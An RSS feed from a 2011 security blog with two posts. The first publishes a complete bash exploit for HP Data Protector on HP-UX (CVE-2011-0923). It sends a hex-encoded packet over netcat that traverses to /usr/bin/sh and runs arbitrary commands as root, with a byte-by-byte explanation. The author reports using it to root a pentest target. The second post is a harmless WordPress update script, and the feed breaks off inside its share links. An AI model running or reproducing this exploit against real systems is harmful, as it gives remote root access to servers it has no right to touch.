<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>H4CKarandas &#187; c0de</title>
	<atom:link href="http://hackarandas.com/blog/category/c0de/feed/" rel="self" type="application/rss+xml" />
	<link>http://hackarandas.com/blog</link>
	<description>Donde las ideas se dispersan en bytes...</description>
	<lastBuildDate>Fri, 05 Aug 2011 05:16:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>HP Data Protector Remote Shell for HPUX</title>
		<link>http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux/</link>
		<comments>http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux/#comments</comments>
		<pubDate>Fri, 05 Aug 2011 04:13:31 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[c0de]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[#infosec #security]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[c4an]]></category>
		<category><![CDATA[Data Protector]]></category>
		<category><![CDATA[David Llorens]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[fdisk]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[HPUX]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[remote shell]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[seguridad informatica]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=444</guid>
		<description><![CDATA[In many pentest that I have done, HPUX is one of the more commons UNIX OS that I found. It is a strong operating system running in a robust hardware, and when I got to know more about the Lights Out functionality I just fall in love. Al thought many companies uses it for running [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux/root/" rel="attachment wp-att-446"><img src="http://hackarandas.com/blog/wp-content/uploads/2011/08/root-145x150.gif" alt="" title="Remote Shell" width="145" height="150"  style="margin: 10px 10px 0pt 0pt; float: left;"/></a> In many pentest that I have done, <a href="http://en.wikipedia.org/wiki/HP-UX">HPUX</a> is one of the more commons <a href="http://en.wikipedia.org/wiki/Operating_system">UNIX</a> OS that I found. It is a strong operating system running in a robust hardware, and when I got to know more about the<a href="http://en.wikipedia.org/wiki/HP_Integrated_Lights-Out"> Lights Out</a> functionality I just fall in love.  Al thought many companies uses it for running their main part of their business I have found the they don&#8217;t pay much attention on it&#8217;s security so it&#8217;s common to find production servers without patches or even running applications on insecure protocols like <a href="http://en.wikipedia.org/wiki/Telnet">Telnet</a>, <a href="http://en.wikipedia.org/wiki/FTP">FTP</a> or even <a href="http://en.wikipedia.org/wiki/Rlogin">rlogin</a>.</p>
<p>Since HPUX has been around for a long time and HP was concerned about its security he created the project <a href="https://h20392.www2.hp.com/portal/swdepot/displayProductInfo.do?productNumber=B6849AA">Bastile for HPUX</a>. I had used it to secure servers and I can say that it&#8217;s great! You have to be really careful because it closes a lot of stuff and it may, no sorry, it will broke the connectivity with your oldest applications. ( by the way, it moves the users hashes to the /tcb/files/auth/ folder <img src='http://hackarandas.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ). This doesn&#8217;t mean you just run tomorrow, apply the Bastille on your servers  and forget about them&#8230; YOU ALSO NEED TO PATCH THE SERVER -CONSTANTLY- </p>
<p>So this week I was working in a <a href="http://en.wikipedia.org/wiki/Pentest">Pentest </a> and one of the main objectives was this HPUX 11.11 server, with 10 open ports and Bastille installed, it wasn&#8217;t looking so good. Looking around I found that <a href="http://www.zerodayinitiative.com/advisories/ZDI-11-055/">Data Protect has this nasty vulnerability</a> and  that <a href="http://twitter.com/#!/fdiskyou">fdisk</a> has created a <a href="http://www.exploit-db.com/exploits/17339/">PoC</a> for this <a href="http://en.wikipedia.org/wiki/Zero-day_attack">Zero Day</a> but in Windows. So with a lot of help from <a href="http://twitter.com/#!/c4an">c4an</a> (he ported this tool to the <a href="http://www.metasploit.com/">Metasploit Project</a> that you can see in his <a href="http://c4an-dl.blogspot.com/2011/08/hp-data-protector-vuln.html">blog</a>) the server was compromised with root&#8230;. <a href="http://en.wikipedia.org/wiki/W00t">w00t w00t</a>!</p>
<p>So this is the code and I share it ONLY FOR EDUCATIONAL PURPOSES. I encourage you not to use it on servers that you don&#8217;t own. You can also <a href="http://hackarandas.com/hacking-projects/HPUXDataProtect_RemoteShell.sh.gz">download it</a> from my <a href="http://hackarandas.com/hacking-projects/">Hacking Projects</a> section</p>
<p><code><br />
#!/bin/bash<br />
# Exploit Title: HP Data Protector Remote Shell for HPUX<br />
# Date: 2011-08-02<br />
# Author: Adrian Puente Z.<br />
# Software Link:http://www8.hp.com/us/en/software/software-<br />
# product.html?compURI=tcm:245-936920&#038;pageTitle=data-protector<br />
# Version: 0.9<br />
# Tested on: HPUX<br />
# CVE: CVE-2011-0923<br />
# Notes: ZDI-11-055<br />
# Reference: http://www.zerodayinitiative.com/advisories/ZDI-11-055/<br />
# Reference: http://h20000.www2.hp.com/bizsupport/TechSupport/<br />
# Document.jsp?objectID=c02781143<br />
#<br />
# Powered by Hackarandas www.hackarandas.com<br />
# Reachme at ch0ks _at_ hackarandas _dot_ com || @ch0ks<br />
# Lots of thanks to David Llorens (@c4an) for all the help.<br />
# Ported to HPUX from fdisk's (@fdiskyou) Windows version.<br />
# Windows version: http://www.exploit-db.com/exploits/17339/<br />
#<br />
# Shouts to shellhellboy, r3x, r0d00m, etlow,<br />
# psymera, nitr0us and ppl in #mendozaaaa<br />
# </p>
<p>[ $# -lt 3 ] &#038;&#038; echo -en "Syntax: `basename ${0}` <host>
<port> <commands>\n\n`basename ${0}` 10.22.33.44 5555 id \nX15 [12:1] uid=0(root) gid=0(root)<br />
" &#038;&#038; exit 0 </p>
<p>HOST=`echo ${@} | awk '{print $1}'`<br />
PORT=`echo ${@} | awk '{print $2}'`<br />
CMD=`echo ${@} | sed 's/'$HOST'.*'${PORT}'\ \ *//g'`<br />
SC=""<br />
SC=${SC}"\x00\x00\x00\xa4\x20\x32\x00\x20\x2d\x2d\x63\x68\x30\x6b\x73\x2d"<br />
SC=${SC}"\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x2d\x63\x68"<br />
SC=${SC}"\x30\x6b\x73\x2d\x2d\x00\x20\x43\x00\x20\x32\x30\x00\x20\x2d\x2d"<br />
SC=${SC}"\x63\x68\x30\x6b\x73\x2d\x00\x20\x50\x6f\x63\x00\x20\x2d\x72\x30"<br />
SC=${SC}"\x30\x74\x2d\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d"<br />
SC=${SC}"\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d\x72\x30\x30"<br />
SC=${SC}"\x74\x2d\x00\x20\x30\x00\x20\x30\x00\x20\x2e\x2e\x2f\x2e\x2e\x2f"<br />
SC=${SC}"\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e"<br />
SC=${SC}"\x2e\x2f\x2e\x2e\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x68\x00"<br />
SC=${SC}"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"<br />
SC=${SC}"\x00\x00\x00\x00\x00\x00\x00\x00\x00"<br />
SHELLCODE=${SC}<br />
( echo -en ${SHELLCODE} ; echo ${CMD} ) | nc -w1 ${HOST} ${PORT}<br />
</code></p>
<p>This script is in <a href="http://en.wikipedia.org/wiki/Bash_(Unix_shell)">Bash</a> and can run in any Linux like Backtrack or in Windows using <a href="http://en.wikipedia.org/wiki/Cygwin">Cygwin</a> and this is how it works:</p>
<p>The <a href="http://en.wikipedia.org/wiki/Shellcode">shellcode</a> is 168 bytes and is injected directly on the port. The first 8 bytes of the 104 bytes of this shellcode is part of the protocol where we use the flag &#8220;C 20&#8243; to tell Data Protect (I found that if we manipulates this value other things can be accomplished even writing directly to / ) to perform the vulnerable function that allows remote connections and execute files within it&#8217;s local bin directory. </p>
<p><code><br />
"\x00\x00\x00\xa4\x20\x32\x00\x20\x2d\x2d\x63\x68\x30\x6b\x73\x2d"<br />
"\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x2d\x63\x68"<br />
"\x30\x6b\x73\x2d\x2d\x00\x20\x43\x00\x20\x32\x30\x00\x20\x2d\x2d"<br />
"\x63\x68\x30\x6b\x73\x2d\x00\x20\x50\x6f\x63\x00\x20\x2d\x72\x30"<br />
"\x30\x74\x2d\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d"<br />
"\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d\x72\x30\x30"<br />
"\x74\x2d\x00\x20\x30\x00\x20\x30\x00"<br />
</code></p>
<p>but if we use the <a href="http://en.wikipedia.org/wiki/Directory_traversal">Directory Path Traversal</a> technique we can execute any binary within the file system. The next part was tricky, I can execute any command but I am unable to pass arguments directly to it, so after some debug I found I can spawn a /usr/bin/sh closing it with some nullbytes to get the complete 168 bytes and if I concatenates the command to execute it will pass directly to the shell and execute it with the user&#8217;s environment variables, in this case root, and returns us the output.</p>
<p><code><br />
"\x20\x2e\x2e\x2f\x2e\x2e\x2f"<br />
"\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e"<br />
"\x2e\x2f\x2e\x2e\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x68\x00"<br />
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"<br />
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"<br />
</code></p>
<p>So at the end I get this to work doing this:</p>
<p><code><br />
( echo -en ${SHELLCODE} ; echo ${CMD} ) | nc -w1 ${HOST} ${PORT}</p>
<p></code></p>
<p>The <a href="http://en.wikipedia.org/wiki/Netcat">Netcat</a> helps me to transports the shellcode to the port and it returns the output. It simply works.</p>
<p>So special thanks to fdisk for the PoC and David Llorens  for the useful brainstorming, he also ported this tool to the <a href="http://www.metasploit.com/">Metasploit Project</a> that you can see in his <a href="http://c4an-dl.blogspot.com/2011/08/hp-data-protector-vuln.html">blog</a>.</p>
<p><em>Adrian Puente Z.</em></p>
<p><a class="a2a_button_slashdot" href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Slashdot" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Tumblr" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="WordPress" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Twitter" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_linkedin" href="http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="LinkedIn" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/linkedin.png" width="16" height="16" alt="LinkedIn"/></a><a class="a2a_button_google_bookmarks" href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Facebook" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Google Reader" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Digg" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Meneame" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_technorati_favorites" href="http://www.addtoany.com/add_to/technorati_favorites?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Technorati Favorites" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/technorati.png" width="16" height="16" alt="Technorati Favorites"/></a><a class="a2a_button_stumbleupon" href="http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="StumbleUpon" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/stumbleupon.png" width="16" height="16" alt="StumbleUpon"/></a><a class="a2a_button_blogger_post" href="http://www.addtoany.com/add_to/blogger_post?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Blogger Post" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/blogger.png" width="16" height="16" alt="Blogger Post"/></a><a class="a2a_button_yahoo_bookmarks" href="http://www.addtoany.com/add_to/yahoo_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;linkname=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" title="Yahoo Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/yahoo.png" width="16" height="16" alt="Yahoo Bookmarks"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F08%2F04%2Fhp-data-protector-remote-shell-for-hpux%2F&amp;title=HP%20Data%20Protector%20Remote%20Shell%20for%20HPUX" id="wpa2a_2"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Updating your WordPress Blog in a blink!</title>
		<link>http://hackarandas.com/blog/2011/03/29/updating-your-wordpress-blog-in-a-blink/</link>
		<comments>http://hackarandas.com/blog/2011/03/29/updating-your-wordpress-blog-in-a-blink/#comments</comments>
		<pubDate>Wed, 30 Mar 2011 03:49:18 +0000</pubDate>
		<dc:creator>Ch0ks</dc:creator>
				<category><![CDATA[c0de]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Adrian Puente Z.]]></category>
		<category><![CDATA[hackarandas]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[update]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://hackarandas.com/blog/?p=418</guid>
		<description><![CDATA[I know, I know&#8230; WordPress already has an option to update your blog with one click&#8230; but I love to use my SSH and I don&#8217;t trust FTP connections, so here is my manual solution for this. I hope you find it useful. ssh myblog.com ./updateblog.sh exit That&#8217;s it, pretty fancy uh? This is the [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hackarandas.com/blog/2011/03/29/updating-your-wordpress-blog-in-a-blink/wordpress-150/" rel="attachment wp-att-422"><img src="http://hackarandas.com/blog/wp-content/uploads/2011/03/wordpress-150.gif" alt="Wordpress Logo" title="Wordpress Logo" width="75" height="70" class="alignleft size-full wp-image-422"  style="margin: 10px 10px 0pt 0pt; float: left;" /></a>  I know, I know&#8230; WordPress already has an option to update your blog with one click&#8230; but I love to use my SSH and I don&#8217;t trust FTP connections, so here is my manual solution for this. I hope you find it useful.</p>
<div class="dean_ch" style="white-space: wrap;">
ssh myblog.<span class="me1">com</span><br />
./updateblog.<span class="me1">sh</span><br />
exit</div>
<p>That&#8217;s it, pretty fancy uh? This is the code for this script:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="re3">#!/bin/bash</span><br />
<span class="re3"># Script by Adrian Puente Z..</span><br />
<span class="re3"># Powered by Hackarandas www.hackarandas.com</span><br />
<span class="re3"># Licensed by GNU GPLv3</span><br />
<span class="re3"># http://www.gnu.org/licenses/gpl<span class="nu0">-3.0</span>.txt</span></p>
<p><span class="re3"># This is the absolute PATH to a working directory.</span><br />
<span class="re2">UPGRADEPATH=</span><span class="st0">&quot;/home/user/mytempdir/&quot;</span><br />
<span class="re3"># Where the Blog is installed.</span><br />
<span class="re2">BLOGPATH=</span><span class="st0">&quot;/home/user/complete/path&quot;</span><br />
<span class="re3"># The <span class="kw3">complete</span> URL to the blog.</span><br />
<span class="re2">BLOGURL=</span><span class="st0">&quot;www.myblog.com/complete/path&quot;</span><br />
<span class="re3"># For spanish version use this line.</span><br />
<span class="re2">NEWWP=</span>`curl -q http://es.wordpress.org/ <span class="nu0">2</span>&gt;/dev/null| <span class="kw2">grep</span> download-<span class="kw2">tar</span> | <span class="kw2">cut</span> -d<span class="st0">&#8216;&quot;&#8217;</span> -f4`<br />
<span class="re3"># For english version use this line</span><br />
<span class="re3">#<span class="re2">NEWWP=</span></span><span class="st0">&quot;http://wordpress.org/latest.tar.gz&quot;</span></p>
<p><span class="kw3">echo</span> -n <span class="st0">&quot;Downloading ${NEWWP}, is this ok? [y/N] &quot;</span><br />
<span class="kw2">read</span> -n <span class="nu0">1</span> OK<br />
<span class="kw3">echo</span><br />
<span class="kw1">if</span> <span class="br0">&#91;</span> <span class="re0">$<span class="br0">&#123;</span>OK<span class="br0">&#125;</span></span> == <span class="st0">&quot;n&quot;</span> <span class="br0">&#93;</span><br />
<span class="kw1">then</span><br />
&nbsp; &nbsp; <span class="kw3">echo</span> Exiting&#8230; &nbsp;<br />
&nbsp; &nbsp; <span class="kw3">exit</span> <span class="nu0">0</span><br />
<span class="kw1">fi</span></p>
<p><span class="kw3">cd</span> <span class="re0">$<span class="br0">&#123;</span>UPGRADEPATH<span class="br0">&#125;</span></span><br />
<span class="kw3">echo</span> Downloading new WP&#8230;<br />
<span class="kw2">wget</span> <span class="re0">$<span class="br0">&#123;</span>NEWWP<span class="br0">&#125;</span></span> -O- | <span class="kw2">tar</span> zxf &#8211; &nbsp;<br />
<span class="kw1">if</span> <span class="br0">&#91;</span> $? -ne <span class="nu0">0</span> <span class="br0">&#93;</span><br />
<span class="kw1">then</span><br />
&nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Problem found downloading latest release.&quot;</span><br />
&nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Exiting&#8230;&quot;</span><br />
&nbsp; &nbsp; <span class="kw3">exit</span> <span class="nu0">1</span><br />
<span class="kw1">fi</span></p>
<p><span class="kw3">echo</span> Deleting old wp-admin and wp-includes..<br />
<span class="kw3">echo</span> -n <span class="st0">&quot;is this ok [y/N] &quot;</span><br />
<span class="kw2">read</span> -n <span class="nu0">1</span> OK<br />
<span class="kw3">echo</span><br />
<span class="kw1">if</span> <span class="br0">&#91;</span> <span class="re0">$<span class="br0">&#123;</span>OK<span class="br0">&#125;</span></span> == <span class="st0">&quot;n&quot;</span> <span class="br0">&#93;</span><br />
<span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> Exiting&#8230; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">exit</span> <span class="nu0">0</span><br />
<span class="kw1">fi</span></p>
<p><span class="kw2">rm</span> -fr <span class="re0">$<span class="br0">&#123;</span>BLOGPATH<span class="br0">&#125;</span></span>/wp-admin<br />
<span class="kw2">rm</span> -fr <span class="re0">$<span class="br0">&#123;</span>BLOGPATH<span class="br0">&#125;</span></span>/wp-includes</p>
<p><span class="kw3">echo</span> -n <span class="st0">&quot;Copying new files&#8230;i &quot;</span><br />
<span class="kw2">cp</span> -r wordpress/* <span class="re0">$<span class="br0">&#123;</span>BLOGPATH<span class="br0">&#125;</span></span><br />
<span class="kw2">rm</span> -fr wordpress/<br />
<span class="kw3">echo</span> Done<br />
<span class="kw3">echo</span> Now go to this URL to update database..<br />
<span class="kw3">echo</span> -e <span class="st0">&quot;${BLOGURL}/wp-admin/upgrade.php&quot;</span><br />
<span class="kw3">echo</span> Bye.<br />
<span class="kw3">exit</span> <span class="nu0">0</span></div>
<p>You just need to change the variables according to your blog needs, each one is commented to best understanding and don&#8217;t forget to give execution access. This script has only been tested on Linux and you should only keep it inside your home not in the www or http folder to avoid that someone read it.  </p>
<p>You can download it <a href="http://hackarandas.com/hacking-projects/updateblog.sh.gz">here</a> under your own risk and don&#8217;t forget to check my other projects <a href="http://hackarandas.com/hacking-projects/">here</a>.</p>
<p>Any comment or doubt leave me a comment and I will try to reply it asap.</p>
<p><strong>Adrian Puente Z.</strong></p>
<p><a href="http://www.technorati.com/tag/Adrian+Puente+Z." rel="tag">Adrian Puente Z.</a>, <a href="http://www.technorati.com/tag/Hackarandas" rel="tag">Hackarandas</a>, <a href="http://www.technorati.com/tag/ssh" rel="tag">ssh</a>, <a href="http://www.technorati.com/tag/blog" rel="tag">blog</a>, <a href="http://www.technorati.com/tag/update" rel="tag">update</a>, <a href="http://www.technorati.com/tag/wordpress" rel="tag">wordpress</a> </p>
<p><a class="a2a_button_slashdot" href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Slashdot" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Tumblr" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="WordPress" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Twitter" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_linkedin" href="http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="LinkedIn" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/linkedin.png" width="16" height="16" alt="LinkedIn"/></a><a class="a2a_button_google_bookmarks" href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Facebook" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Google Reader" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Digg" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fhackarandas.com%2Fblog%2F2011%2F03%2F29%2Fupdating-your-wordpress-blog-in-a-blink%2F&amp;linkname=Updating%20your%20WordPress%20Blog%20in%20a%20blink%21" title="Meneame" rel="nofollow" target="_blank"><img src="http://hackarandas.com/blog/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a 